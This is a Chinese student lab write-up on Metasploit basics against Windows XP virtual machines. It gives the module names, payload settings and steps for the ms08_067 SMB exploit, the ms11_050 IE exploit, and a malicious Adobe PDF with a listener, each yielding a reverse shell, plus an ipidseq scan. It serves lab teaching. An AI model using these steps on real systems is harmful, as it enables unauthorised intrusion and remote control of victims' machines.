20155305《网络对抗》MSF基础应用

时间:2023-03-09 08:50:20
20155305《网络对抗》MSF基础应用

20155305《网络对抗》MSF基础应用

实验过程

实验系统

  • 靶机1:Windows XP Professional SP2 ,IP地址:192.168.1.108
  • 靶机2:Windows XP Professional SP3 简体中文,IP地址:192.168.1.113
  • windows XP的虚拟机安装可以在这个网址下载iso镜像,至于序列号就百度吧,会有很多。
  • Kali IP地址:192.168.1.105

1、主动攻击:ms08_067

  • 使用靶机1和Kali

    msfconsole进入msf,再用search ms08_067查询一下针对该漏洞的攻击模块:

20155305《网络对抗》MSF基础应用

  • use exploit/windows/smb/ms08_067_netapi使用该模块:

20155305《网络对抗》MSF基础应用

  • show targets查看可以被攻击的靶机的操作系统型号:

20155305《网络对抗》MSF基础应用

  • show payloads查看可以供我们使用的攻击载荷:

20155305《网络对抗》MSF基础应用

  • 从中找到一个可用的攻击载荷generic/shell_reverse_tcp,用set payload generic/shell_reverse_tcp设置payload:

20155305《网络对抗》MSF基础应用

  • show options查看需要设置的参数:

20155305《网络对抗》MSF基础应用

  • 这里需要设置RHOST(靶机IP)和LHOST(Kali的IP),使用set 需设置的参数名 参数值命令即可设置:

20155305《网络对抗》MSF基础应用

  • 设置target选项目标(例如我攻击系统为WIN xp 中文简体 SP2,所以选择10)

20155305《网络对抗》MSF基础应用

  • show options确认需要设置的参数是否已经设置好:

20155305《网络对抗》MSF基础应用

  • 确认参数设置无误后,用exploit指令开始攻击:

20155305《网络对抗》MSF基础应用

  • 攻击成功后会获取靶机的shell,可以对其进行操作:

20155305《网络对抗》MSF基础应用

2、针对浏览器的攻击:ms11_050

  • 使用靶机2和Kali(一开始用自己的最后会有问题,所以换了老师之前的kali)

search ms11_050查询一下针对该漏洞的攻击模块,并用use windows/browser/ms11_050_mshtml_cobjectelement使用该模块:

20155305《网络对抗》MSF基础应用

  • info查看该模块的信息(这个指令相当于show targetsshow options等的集合版):

基本信息:

20155305《网络对抗》MSF基础应用

  • targets信息:

20155305《网络对抗》MSF基础应用

  • options信息:

20155305《网络对抗》MSF基础应用

  • set payload windows/meterpreter/reverse_tcp设置payload,并设置需要设置的参数。

20155305《网络对抗》MSF基础应用

show options确认需要设置的参数是否已经设置好:

20155305《网络对抗》MSF基础应用

  • 确认参数设置无误后,用exploit指令开始攻击,攻击成功后会有靶机需要访问的网址:

20155305《网络对抗》MSF基础应用

  • 在靶机IE上输入该网址:

20155305《网络对抗》MSF基础应用

  • kali中显示session 1已经创建,并显示其会话ID:

20155305《网络对抗》MSF基础应用

  • 输入sessions -i 1,成功获取靶机的shell,可以对其进行操作:

20155305《网络对抗》MSF基础应用

20155305《网络对抗》MSF基础应用

3、针对客户端的攻击:adobe_toolbutton

  • 使用靶机1和Kali

search adobe查询一下针对该漏洞的攻击模块:

20155305《网络对抗》MSF基础应用

  • 选择一个模块并使用该模块:

20155305《网络对抗》MSF基础应用

  • show targets查看可以被攻击的靶机的操作系统型号:

20155305《网络对抗》MSF基础应用

  • 设置payload攻击载荷,命令set payload windows/meterpreter/reverse_tcp

20155305《网络对抗》MSF基础应用

  • show options查看需要设置的参数:

20155305《网络对抗》MSF基础应用

  • 设置相应参数,实施exploit攻击,发现在/root/.msf4/local/目录下成功生成了一个qiaolei05.pdf文件:

20155305《网络对抗》MSF基础应用

  • 这个时候你可能在你的kali中找不到这个pdf文件,那么打开文件夹的隐藏文件显示就可以找到啦

20155305《网络对抗》MSF基础应用

  • 将pdf文件粘贴到靶机win xp

20155305《网络对抗》MSF基础应用

  • 在kali中和前几次实验一样打开并设置监听模块use exploit/multi/handlerset payload windows/meterpreter/reverse_tcp,再设置IP以及端口

20155305《网络对抗》MSF基础应用

  • 在靶机上打开刚刚那个pdf文件(这个时候可能xp没有adobe就需要下载一波,地址呢可以到这里下载),可以观察到Kali成功获取了靶机的shell,可以对其进行操作:

20155305《网络对抗》MSF基础应用

4、成功应用任何一个辅助模块:ipidseq

  • ipidseq
功能:扫描网段中的存活ip,它会识别被发现主机的IPID(用于跟踪IP包的次序的一种技术)序列模式,并且表示出哪些是0、随机或递增的。

拥有递增的IPID的空闲(空闲是指该主机在特定时间内不向网络发送数据包)主机(即显示为`Incremental!`的条目),不会被网络上的其它主机严重影响,可以用来进行TCP空闲扫描。

TCP空闲扫描:是一种高级的nmap扫描方式,这种扫描方式能让我们冒充网络上另一台主机的IP地址对目标进行更为隐秘的扫描。
  • show auxiliary查看所有辅助模块,并选择其中的一个,选的是scanner/ip/ipidseq:

20155305《网络对抗》MSF基础应用

20155305《网络对抗》MSF基础应用

  • 查看需要设置的参数,设置完成后确认一下,这里可以进行对单一目标主机的扫描,然后就可以开始exploit了。

20155305《网络对抗》MSF基础应用

20155305《网络对抗》MSF基础应用

  • 也可以对指定网段的主机进行扫描:

20155305《网络对抗》MSF基础应用

20155305《网络对抗》MSF基础应用

实验总结和收获

  • 讲道理感觉最难就是虚拟机了,大概下载了十个镜像做实验,就大概屡战屡改,xp的简体中文,*版,繁体版都有下载过,最后还是用了简体中文,难得的是居然用的还不错,虽然又在里面下了一些别的需要用的,比如adobe reader。至于英文版呢,因为正好下载英文版的时候网速奇差无比,直接就没试验了,虽然感觉学长学姐大多用的全是英文版english。
  • 第三个pdf我还试了试传进了主机,结果一传进来就被查杀了,还看到一个很新鲜的病毒词汇,脚本病毒,和以前的后门被查杀还不一样呢哈哈。
  • 实验确实有意思,体会了黑客的感觉,虽然都是以前的xp版本,但还是收获颇丰,而且蛮喜欢这种学知识的方式。